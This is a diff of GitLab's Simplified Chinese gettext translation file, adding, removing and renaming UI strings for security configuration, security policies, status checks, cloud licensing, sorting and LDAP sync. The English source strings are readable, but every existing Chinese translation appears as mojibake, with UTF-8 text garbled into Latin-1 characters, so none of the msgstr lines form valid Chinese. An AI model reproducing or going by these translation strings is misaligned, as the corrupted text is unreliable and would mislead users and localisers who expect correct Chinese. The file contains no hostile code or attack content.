@@ -28408,11 +28147,8 @@ msgstr "ä¿å­˜å¯†ç "
msgid "Save pipeline schedule"
msgstr "ä¿å­˜æµæ°´çº¿è®¡åˆ’"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr "ä¿å­˜ç©ºé—´å¹¶åœ¨å®¹å™¨æ³¨å†Œè¡¨ä¸­æŸ¥æ‰¾å›¾åƒã€‚删除ä¸éœ€è¦çš„标签并åªä¿ç•™æ‚¨æƒ³è¦çš„标签。"
-
-msgid "Saved scan settings and target site settings which are reusable."
-msgstr "å·²ä¿å­˜æ‰«æ设置和目标站点设置。这些设置å¯è¢«é‡å¤ä½¿ç”¨ã€‚"
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
+msgstr ""
msgid "Saving"
msgstr "ä¿å­˜ä¸­"
@@ -28444,6 +28180,9 @@ msgstr "计划删除于 - %{permanent_deletion_time}"
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr "已计划åˆå¹¶æ­¤åˆå¹¶è¯·æ±‚ (%{strategy})。"
@@ -28495,6 +28234,9 @@ msgstr "å‘上滚动"
msgid "Search"
msgstr "æœç´¢"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr "æœç´¢Jira议题"
@@ -28579,9 +28321,6 @@ msgstr "æœç´¢æˆ–筛选结果......"
msgid "Search or filter results…"
msgstr "æœç´¢æˆ–筛选结果…"
-msgid "Search or jump to…"
-msgstr "æœç´¢æˆ–转到..."
-
msgid "Search project"
msgstr "æœç´¢é¡¹ç›®"
@@ -28701,12 +28440,6 @@ msgstr[0] "wiki结果"
msgid "Searching by both author and message is currently not supported."
msgstr "ç›®å‰ä¸æ”¯æŒä½œè€…和消æ¯åŒæ—¶æœç´¢ã€‚"
-msgid "Seat Link"
-msgstr "座ä½é“¾æŽ¥"
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr "座ä½é“¾æŽ¥å·²ç¦ç”¨ï¼Œæ— æ³•é€šè¿‡æ­¤è¡¨å•è¿›è¡Œé…置。"
-
msgid "SeatUsage|Seat usage"
msgstr "席ä½ä½¿ç”¨æƒ…况"
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr "创建åˆå¹¶è¯·æ±‚时出错。"
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "é…ç½®"
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr "无法获å–é…置数æ®ã€‚请刷新页é¢æˆ–ç¨åŽå†è¯•ã€‚"
@@ -28827,9 +28572,18 @@ msgstr "已通过Auto DevOpså¯ç”¨"
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr "%{featureName}的功能文档"
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr "管ç†"
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr "更多信æ¯"
msgid "SecurityConfiguration|Not enabled"
msgstr "未å¯ç”¨"
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr "SAST分æžå·¥å…·"
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SASTé…ç½®"
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr "安全控制"
@@ -28857,7 +28620,10 @@ msgstr "状æ€"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr "测试与åˆè§„"
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr "使用自定义设置。您ä¸ä¼šæ”¶åˆ°æ­¤å˜é‡çš„自动更新。 %{anc
msgid "SecurityConfiguration|View history"
msgstr "查看历å²"
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr "您å¯ä»¥é€šè¿‡å¯ç”¨%{linkStart}Auto DevOps%{linkEnd}æ¥å¿«é€Ÿå¯ç”¨æ‰€æœ‰å®‰å…¨æ‰«æ工具。"
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject}和%{secondProject}"
@@ -28890,7 +28683,7 @@ msgstr "添加或删除安全区内的项目。 此列表中项目的扫æ结æž
msgid "SecurityReports|Add projects"
msgstr "添加项目"
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr "获å–æ¼æ´žæ•°é‡æ—¶å‡ºé”™ã€‚请检查您的网络连接,然åŽé‡è¯•
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr "获å–æ¼æ´žåˆ—表时出错。请检查您的网络连接,然åŽé‡è¯•ã€‚"
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr "无法获å–安全报告信æ¯ã€‚请é‡æ–°åŠ è½½é¡µé¢æˆ–ç¨åŽå†è¯•ã€‚"
@@ -29058,6 +28854,9 @@ msgstr "状æ€"
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr "添加评论时出错。"
@@ -29160,9 +28959,6 @@ msgstr "选择GitLab项目连接你的Slack团队"
msgid "Select Page"
msgstr "选择页é¢"
-msgid "Select Stack"
-msgstr "选择栈"
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr "选择原因"
msgid "Select a repository"
msgstr "选择一个仓库"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "选择模æ¿ä»“库"
@@ -29298,9 +29100,6 @@ msgstr "选择订阅"
msgid "Select target branch"
msgstr "选择目标分支"
-msgid "Select the custom project template source group."
-msgstr "选择自定义项目模æ¿æºç¾¤ç»„。"
-
msgid "Select timezone"
msgstr "选择时区"
@@ -29394,8 +29193,8 @@ msgstr ""
msgid "Send report"
msgstr "å‘é€æŠ¥å‘Š"
-msgid "Send usage data"
-msgstr "å‘é€çš„使用情况数æ®"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr "Sentry API URL"
@@ -29433,11 +29232,11 @@ msgstr "æ— æœåŠ¡å™¨åŸŸ"
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
-msgstr "函数调用指标需è¦é¦–先安装Prometheus。"
+msgid "ServerlessDetails|Configure cluster."
+msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "安装Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr "调用指标目å‰æ­£åœ¨åŠ è½½æˆ–ä¸å¯ç”¨ã€‚"
@@ -29478,9 +29277,6 @@ msgstr "如果您认为这些都ä¸é€‚用,请ç¨åŽå†æŸ¥çœ‹ï¼Œå› ä¸ºåŠŸèƒ½æ•°
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr "è¦å¼€å§‹ä½¿ç”¨åŠŸèƒ½å³æœåŠ¡ï¼Œå¿…须先在Kubernetes群集上安装Knative。%{linkStart}更多信æ¯%{linkEnd}"
-msgid "Serverless|Install Knative"
-msgstr "安装Knative"
-
msgid "Serverless|Learn more about Serverless"
msgstr "了解更多关于 Serverless"
@@ -29523,6 +29319,9 @@ msgstr "æœåŠ¡æ¨¡æ¿"
msgid "Service URL"
msgstr "æœåŠ¡ URL"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr "设置项目和最大空间é™åˆ¶ã€ä¼šè¯æŒç»­æ—¶é—´ã€ç”¨æˆ·é€‰é¡¹ï¼Œ
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "设定用户登录的æ¡ä»¶ã€‚å¯ç”¨å¼ºåˆ¶åŒé‡è®¤è¯ã€‚"
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr "设置目标分支"
@@ -29793,9 +29595,6 @@ msgstr "严é‡æ€§: %{severity}"
msgid "SeverityWidget|There was an error while updating severity."
msgstr "更新严é‡æ€§æ—¶å‡ºé”™ã€‚"
-msgid "Shards (%{shards})"
-msgstr "分片(%{shards})"
-
msgid "Shards to synchronize"
msgstr "需åŒæ­¥çš„存储片"
@@ -29820,6 +29619,9 @@ msgstr "上级群组的共享Runner被ç¦ç”¨"
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr "共享Runner帮助链接"
@@ -29844,9 +29646,6 @@ msgstr "显示所有活动"
msgid "Show all issues."
msgstr "显示所有议题。"
-msgid "Show all members"
-msgstr "显示所有æˆå‘˜"
-
msgid "Show all test cases."
msgstr "显示所有测试用例。"
@@ -29874,9 +29673,6 @@ msgstr "显示æ交æè¿°"
msgid "Show complete raw log"
msgstr "显示完整的原始日志"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr "显示详情"
@@ -29910,12 +29706,6 @@ msgstr "展示基本功能"
msgid "Show one file at a time"
msgstr "一次显示一个文件"
-msgid "Show only direct members"
-msgstr "åªæ˜¾ç¤ºç›´æŽ¥æˆå‘˜"
-
-msgid "Show only inherited members"
-msgstr "åªæ˜¾ç¤ºç»§æ‰¿çš„æˆå‘˜"
-
msgid "Show parent pages"
msgstr "查看上级页é¢"
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "显示所有议题"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr "显示基于最近%{timerange}天的事件的图表。"
@@ -30293,9 +30086,6 @@ msgstr "创建需求时出了错。"
msgid "Something went wrong while deleting description changes. Please try again."
msgstr "删除æè¿°å˜æ›´æ—¶å‡ºé”™äº†ï¼Œè¯·ç¨åŽé‡è¯•ã€‚"
-msgid "Something went wrong while deleting the package."
-msgstr "删除软件包时出错。"
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "删除æºåˆ†æ”¯æ—¶å‡ºé”™ã€‚请é‡è¯•ã€‚"
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "åœæ­¢çŽ¯å¢ƒæ—¶å‡ºé”™ã€‚请é‡è¯•ã€‚"
@@ -30464,12 +30257,6 @@ msgstr "排åºæ–¹å‘:å‡åº"
msgid "Sort direction: Descending"
msgstr "排åºæ–¹å‘:é™åº"
-msgid "SortOptions|Access level, ascending"
-msgstr "访问级别,å‡åºæŽ’列"
-
-msgid "SortOptions|Access level, descending"
-msgstr "访问级别,é™åºæŽ’列"
-
msgid "SortOptions|Blocking"
msgstr "阻塞议题数"
@@ -30503,9 +30290,6 @@ msgstr "最åŽè”ç³»"
msgid "SortOptions|Last created"
msgstr "最近创建"
-msgid "SortOptions|Last joined"
-msgstr "最新加入"
-
msgid "SortOptions|Last updated"
msgstr "最近更新"
@@ -30548,9 +30332,6 @@ msgstr "å称,é™åºæŽ’列"
msgid "SortOptions|Oldest created"
msgstr "最早创建"
-msgid "SortOptions|Oldest joined"
-msgstr "最早的加入"
-
msgid "SortOptions|Oldest last activity"
msgstr "最新的活动"
@@ -30602,6 +30383,9 @@ msgstr "ç¨åŽå¼€å§‹"
msgid "SortOptions|Start soon"
msgstr "现在开始"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "类型"
@@ -30620,6 +30404,9 @@ msgstr "æº(分支或标签)"
msgid "Source Branch"
msgstr "æºåˆ†æ”¯"
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr "堆栈跟踪代ç ç‰‡æ®µ"
msgid "Stage"
msgstr "阶段"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "标准"
@@ -30947,12 +30725,18 @@ msgstr "状æ€:"
msgid "Status: %{title}"
msgstr "状æ€: %{title}"
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr "存储:"
msgid "StorageSize|Unknown"
msgstr "未知"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr "å­ç¾¤ç»„里程碑"
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr "å­ç¾¤ç»„概览"
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr "å…许创建å­ç¾¤ç»„"
@@ -31454,6 +31241,9 @@ msgstr "星期日"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr "支æŒé¡µé¢ç½‘å€"
msgid "Survey Response"
msgstr "é—®å·è°ƒæŸ¥ç­”å¤"
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,8 +31415,8 @@ msgstr "切æ¢åˆ°æºæ¨¡å¼ä»¥å¤åˆ¶æ–‡ä»¶å†…容"
msgid "Symbolic link"
msgstr "符å·é“¾æŽ¥"
-msgid "Sync information"
-msgstr "åŒæ­¥ä¿¡æ¯"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr "ç«‹å³åŒæ­¥"
@@ -31631,12 +31424,12 @@ msgstr "ç«‹å³åŒæ­¥"
msgid "Synced"
msgstr "å·²åŒæ­¥"
-msgid "Synchronization disabled"
-msgstr "åŒæ­¥å·²ç¦ç”¨"
-
msgid "Synchronization settings"
msgstr "åŒæ­¥è®¾ç½®"
+msgid "Synchronize LDAP"
+msgstr ""
+
msgid "Syncing…"
msgstr "åŒæ­¥ä¸­..."
@@ -31826,6 +31619,9 @@ msgstr "团队域"
msgid "Telephone number"
msgstr "电è¯å·ç "
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "模æ¿"
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr "GitLab中的高级æœç´¢åŠŸèƒ½æ˜¯éžå¸¸å¼ºå¤§çš„æœç´¢æœåŠ¡ã€‚您å¯ä»¥æœç´¢å…¶ä»–团队的代ç ä»¥å¸®åŠ©æ‚¨å®Œå–„自己项目中的代ç ã€‚从而é¿å…创建é‡å¤çš„代ç æˆ–浪费时间。"
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr "Jira用户%{jiraDisplayName}将映射到的GitLab用户"
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "议题跟踪用于管ç†éœ€æ±‚改进或者解决的问题"
@@ -32194,6 +31993,9 @@ msgstr "议题跟踪用于管ç†éœ€æ±‚改进或者解决的问题。请注册或
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "PrometheusæœåŠ¡å™¨ä»¥â€œé”™è¯¯è¯·æ±‚â€å“应。请检查您的查询是å¦æ­£ç¡®ï¼Œå¹¶ä¸”当å‰çš„Prometheus版本支æŒã€‚ %{documentationLink}"
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr "在主节点上定义的URL,次è¦èŠ‚点应使用该URL与其è”系。"
@@ -32227,9 +32029,6 @@ msgstr "分支或标签ä¸å­˜åœ¨"
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "字符çªå‡ºæ˜¾ç¤ºå™¨å¸®åŠ©æ‚¨å°†ä¸»é¢˜è¡Œä¿æŒä¸º %{titleLength} 字符并将正文包装为 %{bodyLength} 以便它们在git中å¯è¯»ã€‚"
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "ç¼–ç é˜¶æ®µæ¦‚述了从第一次æ交到创建åˆå¹¶è¯·æ±‚的时间。创建第一个åˆå¹¶è¯·æ±‚åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "与该阶段相关的事件集åˆã€‚"
@@ -32263,8 +32062,8 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "æ•°æ®æºå·²è¿žæŽ¥ï¼Œä½†æ²¡æœ‰å¯æ˜¾ç¤ºçš„æ•°æ®ã€‚ %{documentationLink}"
-msgid "The default CI configuration path for new projects."
-msgstr "新项目默认的CIé…置路径。"
+msgid "The default CI/CD configuration file and path for new projects."
+msgstr ""
msgid "The dependency list details information about the components used within your project."
msgstr "ä¾èµ–项列表详细说明了项目中使用组件的信æ¯ã€‚"
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr "我们é‡åˆ°çš„错误是:"
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "文件已æˆåŠŸåˆ›å»ºã€‚"
@@ -32366,6 +32168,9 @@ msgstr "该群组将处于“待删除â€çŠ¶æ€"
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "该导入过程将在 %{timeout}åŽè¶…时。对于需è¦é•¿äºŽè¯¥æ—¶é—´æ‰èƒ½å¯¼å…¥çš„仓库,请使用克隆/推é€ç»„åˆã€‚"
@@ -32387,15 +32192,15 @@ msgstr "邀请已被接å—。"
msgid "The invitation was successfully resent."
msgstr "邀请已é‡æ–°å‘é€ã€‚"
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "议题阶段概述了从创建议题到将议题添加到里程碑或议题看æ¿æ‰€èŠ±è´¹çš„时间。创建第一个议题åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„.。"
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr "该问题被æˆåŠŸæå‡ä¸ºå²è¯—。é‡å®šå‘到å²è¯—..."
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "许å¯è¯å¯†é’¥æ— æ•ˆã€‚请确ä¿å®ƒä¸Žæ‚¨ä»ŽGitLab Inc.收到的一致。"
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "项目生命周期中的å„个阶段。"
-
msgid "The pipeline has been deleted"
msgstr "æµæ°´çº¿å·²è¢«åˆ é™¤"
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "æµæ°´çº¿è®¡åˆ’会在特定分支或标签上自动定期è¿è¡Œæµæ°´çº¿ã€‚这些计划的æµæ°´çº¿å°†ä»Žå…³è”用户继承有é™çš„项目访问æƒé™ã€‚"
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "计划阶段概述了从议题添加到日程到推é€é¦–次æ交的时间。当首次推é€æ交åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "æ供客户端è¯ä¹¦æ—¶ä½¿ç”¨çš„ç§é’¥ã€‚该值被加密存储。"
@@ -32555,9 +32354,6 @@ msgstr "仓库必须能够通过%{code_open}http://%{code_close},%{code_open}h
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr "仓库必须能够通过%{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close}或%{code_open}git://%{code_close}æ¥è®¿é—®ã€‚"
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "审阅阶段概述了从创建åˆå¹¶è¯·æ±‚到被åˆå¹¶çš„时间。当创建第一个åˆå¹¶è¯·æ±‚åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr "åŒä¸€ä¸ªå…±äº«runnerå¯æ‰§è¡Œå¤šä¸ªé¡¹ç›®çš„代ç ï¼Œé™¤éžæ‚¨é…置了自动伸缩,将%{link}设置为1 (GitLab.com 上的设置)。"
@@ -32576,12 +32372,12 @@ msgstr "该代ç ç‰‡æ®µä»…对项目æˆå‘˜å¯è§ã€‚"
msgid "The snippet is visible to any logged in user except external users."
msgstr "该代ç ç‰‡æ®µå¯¹é™¤å¤–部用户外的所有登录用户å¯è§ã€‚"
+msgid "The source branch will be deleted"
+msgstr ""
+
msgid "The specified tab is invalid, please select another"
msgstr "指定标签页无效,请选择å¦ä¸€ä¸ª"
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "预å‘布阶段概述了从åˆå¹¶è¯·æ±‚被åˆå¹¶åˆ°éƒ¨ç½²è‡³ç”Ÿäº§çŽ¯å¢ƒçš„总时间。首次部署到生产环境åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
-
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr "对于现有å‘布,ä¸èƒ½æ›´æ”¹æ ‡ç­¾å称。"
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "测试阶段概述了 GitLab CI 为相关åˆå¹¶è¯·æ±‚è¿è¡Œæ¯ä¸ªæµæ°´çº¿æ‰€éœ€çš„时间。当第一个æµæ°´çº¿è¿è¡Œå®ŒæˆåŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "该阶段æ¯æ¡æ•°æ®æ‰€èŠ±çš„时间"
@@ -32606,9 +32399,6 @@ msgstr "æ›´æ–°æ“作将在 %{number_of_minutes} 分钟åŽè¶…时。对于大型ä»
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr "上传的文件无效。支æŒçš„文件扩展å为%{extensions}。"
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "使用情况检测(usage ping)å·²ç¦ç”¨ï¼Œæ— æ³•é€šè¿‡æ­¤è¡¨å•è¿›è¡Œé…置。"
-
msgid "The user is being deleted."
msgstr "用户正在被删除。"
@@ -32627,9 +32417,6 @@ msgstr "您正在å°è¯•å†»ç»“的用户在过去%{minimum_inactive_days}天一直
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "中ä½æ•°æ˜¯ä¸€ä¸ªæ•°åˆ—中最中间的值。例如在 3ã€5ã€9 之间,中ä½æ•°æ˜¯ 5。在 3ã€5ã€7ã€8 之间,中ä½æ•°æ˜¯ (5 + 7)/ 2 = 6。"
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr "æä¾›å˜é‡çš„值超过了%{count}字符é™åˆ¶"
